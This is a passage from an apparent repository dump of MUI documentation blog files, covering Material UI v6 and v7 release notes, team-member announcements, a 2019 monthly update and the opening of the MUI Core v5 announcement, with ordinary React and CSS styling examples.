enabling the flag, you can access the variables from the `theme.vars` object with the same structure as the theme.\n\n<codeblock>\n\n```js JSX\nconst CustomComponent = styled('div')(({ theme }) => ({\n  backgroundColor: theme.vars.palette.background.default,\n  color: theme.vars.palette.text.primary,\n}));\n```\n\n```css CSS\n.CustomComponent-ae73f {\n  background-color: var(--mui-palette-background-default);\n  color: var(--mui-palette-text-primary);\n}\n```\n\n</codeblock>\n\n#### Benefits\n\n- Improved developer experience—you can see where the values are coming from in the browser's dev tools.\n- Makes it possible to resolve the notorious [dark mode SSR flickering issue](https://github.com/mui/material-ui/issues/27651).\n- CSS variables open many doors for integration—for example, you can work with a Material UI theme in a plain CSS file.\n\n  ```css title=\"styles.css\"\n  .custom-card {\n    background-color: var(--mui-palette-background-default);\n    color: var(--mui-palette-text-primary);\n    padding: var(--mui-spacing-2);\n    font: var(--mui-font-body1);\n  }\n  ```\n\n### Color schemes\n\nPrior to v6, if you wanted to support light and dark modes, you would have to create two separate themes and handle the logic to switch between modes.\nThis can be complex and error-prone.\n\nMaterial UI v6 introduces the new `colorSchemes` node to simplify this process: With just one line of code, your application supports both light and dark modes instantly.\n\n```js\nconst theme = createTheme({ colorSchemes: { dark: true } });\n// light is generated by default.\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n\nThe `colorSchemes` node makes it possible for Material UI to support the following features out of the box:\n\n- System preference detection\n- Instant transitions between modes with the `disableTransitionOnChange` prop\n- Persistent user preferences via local storage\n- Automatic synchronization of the selected mode across browser tabs\n\n#### A hook for toggling between modes\n\nThe new `useColorScheme` hook lets you read and update the mode in your application.\n\n```jsx\nimport { useColorScheme } from '@mui/material/styles';\n\nfunction ModeSwitcher() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) return null;\n  return (\n    <select onChange={(event) => setMode(event.target.value)}>\n      <option value=\"system\">System</option>\n      <option value=\"light\">Light</option>\n      <option value=\"dark\">Dark</option>\n    </select>\n  );\n}\n```\n\n### CSS media `prefers-color-scheme`\n\nWhen [CSS variables](#css-theme-variables) and [color schemes](#color-schemes) are enabled, Material UI uses the `prefers-color-scheme` media query as the default method for generating CSS variables.\n\n<codeblock>\n\n```js JSX\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  cssVariables: true,\n  colorSchemes: { dark: true },\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n\n```css CSS\n:root {\n  --mui-palette-primary-main: #1976d2;\n  --mui-palette-background-default: #fff;\n  ...\n}\n\n@media (prefers-color-scheme: dark) {\n  :root {\n    --mui-palette-primary-main: #90caf9;\n    --mui-palette-background-default: #121212;\n    ...\n  }\n}\n```\n\n</codeblock>\n\n### Container queries\n\nMaterial UI v6 introduces a [container query](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_queries) utility based on the existing `theme.breakpoints` API.\n\nThis feature lets you define styles based on the parent container's width instead of the viewport.\n\n<codeblock>\n\n```jsx JSX\nconst Component = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(2),\n  [theme.containerQueries.up('sm')]: {\n    flexDirection: 'row',\n  },\n  [theme.containerQueries('sidebar').up('400px')]: {\n    // @container sidebar (min-width: 400px)\n    flexDirection: 'row',\n  },\n}));\n```\n\n```css CSS\n/* Simplified CSS Output */\n\n.Component-ad83f {\n  display: flex;\n  flex-direction: column;\n  gap: 16px;\n  @container (min-width: 600px) {\n    flex-direction: row;\n  }\n  @container sidebar (min-width: 400px) {\n    flex-direction: row;\n  }\n}\n```\n\n</codeblock>\n\nIt also works with the `sx` prop:\n\n<codeblock>\n\n```jsx JSX\n<Card\n  sx={{\n    '@sm': {\n      flexDirection: 'row',\n    },\n    '@400/sidebar': {\n      flexDirection: 'row',\n    },\n  }}\n/>\n```\n\n```css CSS\n/* Simplified CSS Output */\n\n.MuiCard-root-dn383 {\n  @container (min-width: 600px) {\n    flex-direction: row;\n  }\n  @container sidebar (min-width: 400px) {\n    flex-direction: row;\n  }\n}\n```\n\n</codeblock>\n\n### New method of applying styles\n\nThe new API `theme.applyStyles()` has been added for creating specific mode styles.\nIt's designed to replace the `theme.palette.mode === 'dark'` condition to fix the SSR flickering issue when combined with the CSS theme variables feature.\n\n<codeblock>\n\n```jsx After\nconst StyledInput = styled(InputBase)(({ theme }) => ({\n  padding: 10,\n  width: '100%',\n  borderBottom: '1px solid #eaecef',\n  ...theme.applyStyles('dark', {\n    borderBottom: '1px solid #30363d',\n  }),\n  '& input': {\n    borderRadius: 4,\n    backgroundColor: '#fff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#0d1117',\n    }),\n  },\n}));\n```\n\n```jsx Before\nconst StyledInput = styled(InputBase)(({ theme }) => ({\n  padding: 10,\n  width: '100%',\n  borderBottom:\n    theme.palette.mode === 'dark' ? '1px solid #30363d' : '1px solid #eaecef',\n  '& input': {\n    borderRadius: 4,\n    backgroundColor: theme.palette.mode === 'dark' ? '#0d1117' : '#fff',\n  },\n}));\n```\n\n</codeblock>\n\n:::info\nWe provide a codemod to help you migrate from `theme.palette.mode === 'dark'` to `theme.applyStyles()`.\nSee the [v6 migration guide](/material-ui/migration/upgrade-to-v6/) for complete details.\n:::\n\n## Improvements\n\n### Optimized runtime performance\n\n[Several optimizations](https://github.com/mui/material-ui/pulls?q=is%3Apr+author%3Aromgrk+is%3Aclosed+perf+sort%3Aupdated-desc) have been made to improve the runtime performance of Material UI v6.\n\nThis is just the beginning of our performance improvements.\nThere are more optimizations in our pipeline, so stay tuned for further v6.x updates and the benchmark results.\n\n### Revamped free templates\n\nExplore the new and improved [free Material UI templates](https://mui.com/material-ui/getting-started/templates/) to see all of the new v6 features in action.\nWe've fully revamped the templates to demonstrate some common real-world use cases for our components, and to provide the perfect starting point for your next project.\n\n{{\"component\": \"components/blog/material-ui-v6-is-out/FreeTemplatesBento.js\"}}\n\n#### Custom styles\n\nThe new templates can be toggled between the default Material Design and a fully custom theme that's shared across the entire suite, so you can dig deep into the best approaches for component customization—or just grab the pieces you like best and start building from there.\n\n{{\"component\": \"components/blog/material-ui-v6-is-out/CustomThemeComparison.js\"}}\n\n### Stabilized Grid v2\n\nThe Grid v2 component has been stabilized and now uses the CSS gap property for creating space between grid items.\nThis is a huge improvement over the previous version, which used margins and padding to create space.\n\nThe responsive configuration has been consolidated into the `size` and `offset` props for consistency.\n\n```jsx\nimport Grid from '@mui/material/Grid2';\n\n<Grid container>\n  <Grid size={{ xs: 6, sm: 4, lg: 3 }} />\n  <Grid size={{ xs: 6, sm: 4, lg: 3 }} />\n  <Grid size={{ xs: 6, sm: 4, lg: 3 }} />\n</Grid>;\n```\n\n### Reduced package size\n\nTo align with React 19's removal of UMD builds, Material UI has also removed its UMD bundle.\nThis results in a reduction of the `@mui/material` package size by 2.5MB, or 25% of the total size in v5.\nSee [Package Phobia](https://packagephobia.com/result?p=@mui/material) for more details.\nInstead of UMD, we recommend using ESM-based CDNs such as [esm.sh](https://esm.sh/).\nFor alternative installation methods, refer to the [CDN documentation](/material-ui/getting-started/installation/#cdn).\n\n## Experimental CSS extraction via Pigment CSS\n\nMaterial UI v5 uses Emotion as its default styling solution.\nBecause it's a runtime CSS-in-JS library, Emotion forces us to make compromises to performance and bundle size.\n\nMaterial UI v6 introduces opt-in integration with [Pigment CSS](https://github.com/mui/pigment-css), our new zero-runtime styling library that eliminates the runtime overhead while preserving the API design patterns you already know and love.\n\n:::warning\nPigment CSS integration is still in the experimental stage.\nWe recommend testing it out with our examples ([Next.js](https://github.com/mui/material-ui/tree/master/examples/material-ui-pigment-css-nextjs-ts) or [Vite](https://github.com/mui/material-ui/tree/master/examples/material-ui-pigment-css-vite)), and we'd love to get your feedback to help us improve it.\n\nWhen you're ready to integrate Pigment CSS into your project, you can find complete details in [the guide to migrating to Pigment CSS](/material-ui/migration/migrating-to-pigment-css/).\n:::\n\n### React Server Components\n\nOnce integrated with Pigment CSS, Material UI v6 provides a separate set of layout components—Grid, Container, and Stack—that are compatible with React Server Components.\n\n```jsx\nimport Grid from '@mui/material-pigment-css/Grid';\nimport Container from '@mui/material-pigment-css/Container';\nimport Stack from '@mui/material-pigment-css/Stack';\n```\n\n### Built-in sx prop support\n\nWith Pigment CSS integration, all JSX elements support the `sx` prop out of the box.\nThis means you no longer have to clutter the DOM with wrappers like Box or Stack in order to apply custom styles to a `<div>` or any other element with the `sx` prop.\n\n```diff\n-import Box from '@mui/material/Box';\n\n-<Box component=\"img\" sx={{ padding: 2 }} />\n+<img sx={{ padding: 2 }} />\n```\n\n## React 19 support\n\nMaterial UI v6 is ready for React 19.\nWe've been testing Material UI with the latest [React 19 RC](https://react.dev/blog/2024/12/05/react-19) versions to ensure compatibility once the stable release of React 19 is out.\n\nWe're also working on backporting React 19 support to Material UI v5—stay tuned.\n\n## Full-stack apps via Toolpad Core\n\nTo help you build full-stack apps faster than ever, we're launching [Toolpad Core](https://mui.com/toolpad/), a framework for building dashboards and internal tools with Material UI and Next.js that comes with routing, layout components, and authentication already configured for you.\n\nStay tuned for more updates on Toolpad Core in the near future.\n\n## Get started with Material UI v6\n\nReady to upgrade to Material UI v6?\nHead to [the v6 migration guide](/material-ui/migration/upgrade-to-v6/) next.\n\nVisit the links below for further details on some of the key features covered here:\n\n- [Pigment CSS integration](/material-ui/migration/migrating-to-pigment-css/)\n- [Container queries](/material-ui/customization/container-queries/)\n- [CSS theme variables](/material-ui/customization/css-theme-variables/overview/)\n- [Stabilized Grid v2](/material-ui/migration/upgrade-to-v6/#grid2)\n- [Free templates](/material-ui/getting-started/templates/)\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v7-is-here.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs, srcComponents } from './material-ui-v7-is-here.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} srcComponents={srcComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-v7-is-here.md",
    "content": "---\ntitle: Material UI v7 is here 🚀\ndescription: Material UI v7 is now stable, improving integration with modern tools and consistency across the library.\ndate: 2025-03-26T12:00:00.000Z\nauthors:\n  ['aarongarciah', 'brijeshb42', 'diegoandai', 'janpot', 'mnajdova', 'siriwatknp']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nMaterial UI v7 is now stable.\nThis major release improves the integration with modern tools and consistency across the library.\nIt is designed to be straightforward to upgrade to.\n\n## Improved ESM support\n\nThe package layout has been updated, and now unambiguously supports both valid ESM and CommonJS through the `exports` field in `package.json`. The package layout was previously faux-ESM.\n\nThis update fixes several issues with popular bundlers like Vite and webpack, and makes it possible to load Material UI packages from ES modules under Node.js.\nMore details in [mui/material-ui#43938](https://github.com/mui/material-ui/issues/43938).\n\nFor example, you can see how all the warnings that [publint.dev](https://publint.dev/) reports with v6 are fixed in v7:\n\n<figure>\n  <img src=\"/static/blog/material-ui-v7-is-here/publint-before.png\" width=\"1244\" height=\"880\" loading=\"lazy\" alt=\"\" style=\"width: 400px\" />\n  <figcaption><a href=\"https://publint.dev/@mui/material@6.4.11\">Before v6</a></figcaption>\n</figure>\n\n<figure>\n  <img src=\"/static/blog/material-ui-v7-is-here/publint-after.png\" width=\"1260\" height=\"906\" loading=\"lazy\" alt=\"\" style=\"width: 400px\" />\n  <figcaption><a href=\"https://publint.dev/@mui/material@7.0.0\">After v7</a></figcaption>\n</figure>\n\nThis new package layout might create breaking changes for some users, especially those depending on private APIs of the library. Refer to the [migration guide](/material-ui/migration/upgrade-to-v7/#package-layout-updated) for more details.\n\n## Completed the slot pattern implementation\n\nThe API for replacing or modifying component inner elements is now standardized, and all relevant components use the `slots` and `slotProps` props for greater flexibility and consistency.\nFor example:\n\n```diff\n <Accordion\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ unmountOnExit: true }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\nA [guide about this pattern](/material-ui/customization/overriding-component-structure/) has been added to the documentation.\n\n## Opt-in support for CSS layers\n\nMaterial UI styles can be wrapped in a CSS layer named via the opt-in config `enableCssLayer`.\nThis allows Material UI to integrate with modern tools that rely on CSS layers, like Tailwind CSS v4.\nThis feature was backported and is now also available in Material UI v6.\n\nThis feature is currently supported in Next.js App Router and client-side frameworks like Vite.\nHere is an example of how to enable CSS layers depending on your setup:\n\n<codeblock>\n\n```tsx Next.js\n// App Router only, support for Pages Router is coming soon\n\n// app/layout.tsx\nimport { AppRouterCacheProvider } from '@mui/material-nextjs/v15-appRouter';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function RootLayout(props) {\n  const { children } = props;\n  return (\n    <html lang=\"en\">\n      <body className={roboto.variable}>\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          <GlobalStyles styles=\"@layer theme,base,mui,components,utilities;\" />\n          <ThemeProvider theme={theme}>{children}</ThemeProvider>\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n```\n\n```tsx Client-side\n// main.js\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport App from './App';\n\ncreateRoot(document.getElementById('root')!).render(\n  <StrictMode>\n    <StyledEngineProvider enableCssLayer>\n      <GlobalStyles styles=\"@layer theme,base,mui,components,utilities;\" />\n      <App />\n    </StyledEngineProvider>\n  </StrictMode>,\n);\n```\n\n</codeblock>\n\nA detailed guide for Tailwind CSS v4 integration is coming soon.\n\n## Removed deprecated APIs\n\nAPIs that were deprecated in v5 have been removed.\nThis reduces the API surface, making the docs easier to navigate.\nVisit the upgrade guide for a [list of removed APIs](/material-ui/migration/upgrade-to-v7/#deprecated-apis-removed).\n\n## Get started\n\nHead to [the v7 upgrade guide](/material-ui/migration/upgrade-to-v7/) and upgrade today.\n"
  },
  {
    "path": "docs/pages/blog/matheus-wichman-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './matheus-wichman-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/matheus-wichman-joining.md",
    "content": "---\ntitle: Matheus Wichman joins MUI\ndescription: We are excited to share that Matheus Wichman has joined MUI.\ndate: 2021-04-05T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Matheus Wichman](https://github.com/m4theushw) has joined MUI.\nHe started a couple of days ago full-time, and is part of the advanced components team.\n\nBefore joining MUI, Matheus worked as a software engineer at a consulting agency in Brazil.\nHe has spent the last three years focusing on React and the frontend world - his last project was for a payment processing company, where he created a design system based on Material UI and developed new components for enterprise applications.\nMatheus is passionate about software development, so much so that he started his career very early on, coding in PHP and JavaScript, at age 14.\n\nWe were impressed by his capability to quickly jump into an unknown codebase and solve problems at their root.\nIn a couple of days, he has managed to report and fix bugs, both in the core components (_mui/material-ui_) and in the advanced components repository (_mui/mui-x_).\n\nWhile we can't predict the future, Matheus will initially help us deliver the planned breaking changes of Material UI v5, increase the pace of development of the date range picker, and push the data grid forward.\n\nMatheus is the first of a series of 5 new positions we have recently opened and almost all filled.\nWe will cross the 10 person milestone in the coming weeks.\nWe have opened these positions as our revenue growth allows.\nAt the current pace, we will soon open new positions.\nYou can [follow us on X](https://x.com/MUI_hq) to hear about upcoming positions.\nThese new roles will help accelerate our mission, strengthen our existing offering, and initiate a new vertical.\n\nWe couldn't be more excited to have Matheus on the team!\n"
  },
  {
    "path": "docs/pages/blog/may-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './may-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/may-2019-update.md",
    "content": "---\ntitle: May 2019 Update\ndescription: Here are the most significant improvements in May.\ndate: 2019-06-08T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in May:\n\n- 🎉 We released Material UI v4 stable during the React Europe conference.\n  You can find the details in our [blog post 📝](/blog/material-ui-v4-is-out/) and a quick introduction in this [5 minutes talk](https://www.youtube.com/watch?v=m54_CPfbWow).\n- 🐛 We have made two subsequent releases after v4.0.0, containing a significant number of fixes (v4.0.1 and v4.0.2).\n\nBut this summary is just scratching the surface. We have accepted 206 commits from 78 different contributors. We have changed 3,031 files with 96,616 additions and 85,768 deletions.\n\n## Our roadmap intent for June\n\n_(We'll do our best, no guarantee!)_\n\n- We will release an improved Slider component with range support. You can already [preview it](https://deploy-preview-15703--material-ui.netlify.app/components/slider/).\n\n![Slider](/static/blog/may-2019-update/slider.png)\n\n- We will work on a new Tree View component. You can already [preview it](https://deploy-preview-14827--material-ui.netlify.app/components/tree-view/).\n\n![Tree View](/static/blog/may-2019-update/tree-view.png)\n\n- We will add more themes to the [premium theme marketplace](https://mui.com/store/).\n- We will start exploring how we can provide style adapters in v5 (styled-components, JSS, linaria, naked, etc.)\n- We will experiment around advisory offerings for enterprises.\n  If you are an enterprise and are looking for one of the following:\n  - A dedicated communication channel giving priority access to MUI engineers.\n  - Architecture Reviews. Sit down with a MUI engineer and walk through all aspects of your MUI project and current tech stack or architecture, to identify issues and opportunities for improvement.\n\nYou can contact us at contact@mui.com.\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/michal-dudak-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './michal-dudak-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/michal-dudak-joining.md",
    "content": "---\ntitle: Michał Dudak joins MUI\ndescription: We are excited to share that Michał Dudak has joined MUI.\ndate: 2021-06-14T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Michał Dudak](https://x.com/michaldudak) has joined MUI!\nHe started a couple of days ago full-time and is part of the core components team.\n\nBefore joining MUI, Michał worked as a full-stack engineer and software architect at Future Processing, a high-end development agency in Poland.\nHe has been a professional practitioner in the field for over a decade.\nHe admires great designs and clever solutions.\nCreating with TypeScript and CSS is a pleasure for him.\n\nWe were impressed by his technical challenge.\nHe leveraged most of the best practices we enforce when writing components, without prior experience contributing to our codebase.\n\nWhile we can't predict the future, Michał is currently responsible for the development of a new vertical for MUI: the unstyled & headless React components.\nMarija initiated this effort with a couple of new modules under the [@mui/base](https://unpkg.com/browse/@mui/base@latest/) package.\nThis is a strategic effort for us, with the intent to solve two problems:\n\n1. Share logic between Material Design and the second design specification that [Jun will work on](/blog/siriwat-kunaporn-joining/). This is important to stay efficient.\n2. Grow the audience of the library. It provides a new customization tradeoff. It maximizes freedom and minimizes bundle-size. We have recently exceeded [20%](https://docs.google.com/spreadsheets/d/1l5j3Xjtvm9XZtmb4ulLiWElQaXSlZlyCWT5ONrQMpBo/edit#gid=0) market share of the React ecosystem (@mui/material downloads divided by react-dom downloads). We're aiming for [+20%](https://npm-stat.com/charts.html?package=@angular/core,@angular/material,@angular/cdk) of the market coming from this effort in the next four years.\n\nMichał is the third of a series of five new positions we have recently opened and filled.\nWe will reach 11 people by the end of June.\nWe have opened these positions as our revenue growth allows.\nThese new roles will help accelerate our mission, strengthen our existing offering, and initiate a new vertical.\nYou can find the next positions we aim to fill in [the Career page](https://mui.com/careers/#open-roles).\n\nWe couldn't be more excited to have Michał on the team!\n"
  },
  {
    "path": "docs/pages/blog/mui-core-v5-migration-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-core-v5-migration-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-core-v5-migration-update.md",
    "content": "---\ntitle: Why you should migrate to Material UI v5 today\ndescription: We have completely revamped our Migration guide to reduce friction when upgrading to v5. Get started now!\ndate: 2022-06-20T00:00:00.000Z\nauthors: ['samuelsycamore']\nmanualCard: true\ntags: ['Material UI']\n---\n\nAre you still using Material UI v4 in 2022?\n\nWhat are you thinking?! 😛 Don't get left behind!\n\nWe [released v5 in late 2021](/blog/mui-core-v5/), and since then, we've seen [a steady migration of users](https://npm-stat.com/charts.html?package=@mui/material,@material-ui/core) over to the new packages.\nThis is exciting for us, because we're super proud of all the improvements that were shipped with v5.\n\nBut it seems as though a fair share of users are still hesitant to make the jump.\nThis could be because v5 contains many breaking changes from v4, so the migration can be a large undertaking.\n\nThat's why we've completely revamped our [v4 -> v5 migration guide](/material-ui/migration/migration-v4/)—to help reduce the amount of friction you might encounter when updating to v5.\n\nWe hope it helps!\nBe sure to check out [the updated migration guide](/material-ui/migration/migration-v4/) in the Material UI docs.\n\n## Why you should upgrade to v5\n\nHere are the top 5 reasons why you should upgrade to v5 ASAP.\n\n### 1. React 18 support\n\nMaterial UI v5 is the only version that fully supports [React 18](https://react.dev/blog/2022/03/29/react-v18), so you'll need to update if you want to take advantage of the latest and greatest React features.\n\n### 2. New style engine\n\nOne of the biggest changes in v5 is the replacement of JSS with [Emotion](https://emotion.sh/docs/introduction) as the default style engine.\nThis offers significant advancements in performance when it comes to dynamic styles, and we also believe that it leads to a much more enjoyable developer experience.\n\nEmotion unlocks many new customization options that developers had been requesting for years, such as custom style utility props, color variants, and custom theme variants.\nCheck out [this RFC on GitHub](https://github.com/mui/material-ui/issues/22342) for details about this change.\n\n<a href=\"https://github.com/mui/material-ui/issues/22342\"><img src=\"/static/blog/mui-core-v5-migration-update/style-engine.png\" alt=\"Screenshot of the new style engine GitHub issue in Material UI's repository\" width=\"1280\" height=\"640\" loading=\"lazy\" /></a>\n\nKeep in mind that the new style engine is 100% [incrementally adoptable](/material-ui/migration/migrating-from-jss/): you can use JSS and Emotion together in the same app while migrating your components over.\n\n### 3. Better customization tools\n\nMaterial UI v5 introduces the `sx` prop, which opens up a whole new realm of possibility for applying custom styles.\nNow you can apply style rules to individual components without needing to involve the `styled()` API, which would be overkill when dealing with one-off styles.\n\nThe `sx` prop lets you work with a superset of CSS, making it very intuitive to pick up and start using if you're already comfortable with CSS.\n\n```tsx\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\n\nexport default function BoxSx() {\n  return (\n    <Box\n      sx={{\n        width: 300,\n        height: 300,\n        backgroundColor: 'primary.dark',\n        '&:hover': {\n          backgroundColor: 'primary.main',\n          opacity: [0.9, 0.8, 0.7],\n        },\n      }}\n    />\n  );\n}\n```\n\n### 4. IntelliSense prop descriptions\n\nAll prop descriptions are now written in TypeScript, which means that you can access details about the usage of a given prop right inside of your IDE—no need to seek out the official documentation to find this information.\n\n<img alt=\"Screenshot of IntelliSense tooltip showing the details about the Material UI Badge component\" src=\"/static/blog/mui-core-v5-migration-update/intellisense-tooltip.png\" width=\"1280\" height=\"640\" loading=\"lazy\" />\n\n### 5. Upcoming CSS variables support\n\n[CSS variables](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Cascading_variables/Using_custom_properties) will help us solve a lot of customization issues in the future.\nOne of them is the dark mode flashing issue that has been requested for a long time.\n\nMore importantly, this feature is opt-in if you are using Material UI v5!\nYou can check out the progress on this effort [in this GitHub issue](https://github.com/mui/material-ui/issues/32049).\n\n## Upgrade now\n\nWhat are you waiting for?\nJump into the [newly revised migration documentation](/material-ui/migration/migration-v4/) and get started today.\n\nLet us know if you have any questions along the way!\n"
  },
  {
    "path": "docs/pages/blog/mui-core-v5.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-core-v5.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-core-v5.md",
    "content": "---\ntitle: Introducing MUI Core v5\ndescription: After over 400 days of development and over 40 canary releases, we are excited to introduce MUI Core v5.0.0!\ndate: 2021-09-16T00:00:00.000Z\nauthors:\n  [\n    'oliviertassinari',\n    'eps1lon',\n    'mnajdova',\n    'michaldudak',\n    'siriwatknp',\n    'danilo-leal',\n    'mbrookes',\n  ]\nmanualCard: true\ntags: ['Product', 'Material UI']\n---\n\nAfter over 400 days of development and over 40 canary releases, we are excited to introduce [MUI Core v5.0.0](https://github.com/mui/material-ui/releases/tag/v5.0.0)!\n\n<img src=\"/static/blog/mui-core-v5/card.png\" alt=\"\" width=\"2400\" height=\"1256\" />\n\nThis release features some major highlights:\n\n- [High-level goals for v5](#high-level-goals-for-v5)\n- [A new brand](#a-new-brand)\n- [Improved customizability](#improved-customizability)\n  - [Migration from JSS to emotion](#migration-from-jss-to-emotion)\n  - [The sx prop](#the-sx-prop)\n  - [Dynamic props](#dynamic-props)\n  - [Global class names](#global-class-names)\n  - [Unstyled components (alpha)](#unstyled-components-alpha)\n- [Improved DX](#improved-dx)\n  - [Smaller demos in the docs](#smaller-demos-in-the-docs)\n  - [Props descriptions in IntelliSense](#props-descriptions-in-intellisense)\n  - [Migration from Enzyme to Testing Library](#migration-from-enzyme-to-testing-library)\n  - [TypeScript migration](#typescript-migration)\n  - [Strict Mode support](#strict-mode-support)\n- [A new product line: X](#a-new-product-line-x)\n  - [Data Grid](#data-grid)\n  - [Date Picker](#date-picker)\n- [New components](#new-components)\n  - [Improved Grid](#improved-grid)\n  - [More Material Design icons](#more-material-design-icons)\n  - [Stack](#stack)\n  - [Promotion from the lab](#promotion-from-the-lab)\n  - [New in the lab](#new-in-the-lab)\n- [v4 migration](#v4-migration)\n  - [Change of the package names](#change-of-the-package-names)\n  - [Change of the styling solution](#change-of-the-styling-solution)\n  - [Changes to the supported platforms](#changes-to-the-supported-platforms)\n- [Design Kits](#design-kits)\n- [What's next?](#whats-next)\n  - [A public roadmap](#a-public-roadmap)\n  - [Unstyled components and hooks](#unstyled-components-and-hooks)\n  - [Second design system](#second-design-system)\n  - [MUI X](#mui-x)\n  - [Design Kits](#design-kits-2)\n- [Thank you](#thank-you)\n\n## High-level goals for v5\n\nIn our last survey, the number of developers that commented about improving the Material Design implementation was down by [60%](https://mui.com/blog/2020-developer-survey-results/#comparison-with-last-year) compared to the year before.\nAt the same time, 5X more developers were struggling to customize the components.\n\nIt is based on this context that we started to work on v5 in 2019.\nOur primary focus was to revamp the **customization Developer Experience (DX)**.\nIt had become clear that design (aesthetic, UX) and DX were key to unlocking the next stage of growth.\n\nThe last major iteration on the library was completed with v4, released [two-and-a-half years ago](https://mui.com/blog/material-ui-v4-is-out/),\nmeaning over a year without innovation.\nSo, we have approached v5 with a focus on delivering **long-term value**.\nFor instance, we stopped all development on v4 as soon as we started to work on v5,\nand have taken the liberty of introducing breaking changes anytime we have identified a long-term upside.\n\nYou can find the initial RFC plan for v5 in [issue #20012](https://github.com/mui/material-ui/issues/20012).\n\n## A new brand\n\nMaterial-UI is now **Material UI**! We ditched the hyphen, head to the [dedicated blog post](https://mui.com/blog/material-ui-is-now-mui/) to learn more.\n\nWe hope you are going to enjoy the DX improvement of only having to type 3 letters to type to find us on the internet: [mui.com](https://mui.com) and to import us from npm `@mui`!\n\n## Improved customizability\n\n### Migration from JSS to emotion\n\nThe first step we took to improve the customization experience was to rethink the styling solution from a blank page.\n\nIf you have been following Material UI for a long time, you have probably noticed that we have iterated (a lot!) on the styling solution over the last seven years.\nWe started with Less, then inline-styles, then JSS, and now emotion. Why change it again? We wanted to solve the following **problems**:\n\n1. The React community is settling on `styled()` as the **most popular** CSS-in-JS API. We have used popularity as a proxy for \"best\".\n\n```jsx\nconst StyledDiv = styled('div')({\n  color: 'red',\n});\n\n// or\nconst StyledDiv = styled.div`\n  color: red;\n`;\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/elastic-yonath-uedfv?file=/src/App.js\">CodeSandbox</a></p>\n\nYou can find it in [styled-components](https://styled-components.com/), [emotion](https://emotion.sh/docs/styled), [goober](https://goober.js.org/), [stitches](https://stitches.dev/docs/api#styled), or [linaria](https://linaria.dev/).\nWhile Material UI is compatible with any styling solution (as long as the styles have more specificity, for example, Tailwind CSS), many developers still felt the need to learn something new: the [`makeStyles`](https://v6.mui.com/system/styles/basics/#hook-api) API.\n\n2. Our React integration with JSS (`@mui/styles`) is **too slow** to unlock the next layer of customization DX we aim for.\n   The static CSS generation using v4 was fast enough, even [faster](https://codesandbox.io/p/sandbox/nb05w?file=/src/App.js) than emotion,\n   however, the dynamic style generation was too slow to be used in production. We would have needed to reimplement it.\n3. Many developers were advocating for Material UI to [migrate to styled-components](https://github.com/mui/material-ui/issues/6115),\n   which would allow us to drop the custom React JSS wrapper we maintain.\n   From our experience, maintaining a custom styling solution takes a considerable amount of time.\n\nAfter [exploring](https://github.com/mui/material-ui/issues/22342) many different options, we settled on what we believe is a great tradeoff to **solve** the above issues:\n\n1. We have made `styled()` the lowest level primitive to add styles.\n   This API is already known by many.\n2. We have defined a common interface with concrete implementations:\n   - `@mui/styled-engine`: implemented with Emotion (default).\n   - `@mui/styled-engine-sc`: implemented with styled-components\n   - If you are using a different styling library, feel free to contribute a wrapper. For instance, there is [one attempt with goober](https://github.com/mui/material-ui/pull/27776), a library obsessing on bundle size (3kB gzipped).\n\n   This allows developers to swap between different style engines. For example, styled-components users no longer need to bundle Emotion **and** styled-component, nor do they need to configure the server-side rendering for each.\n   How does the [swap work](https://mui.com/material-ui/integrations/styled-components/)? The same way it does from React to 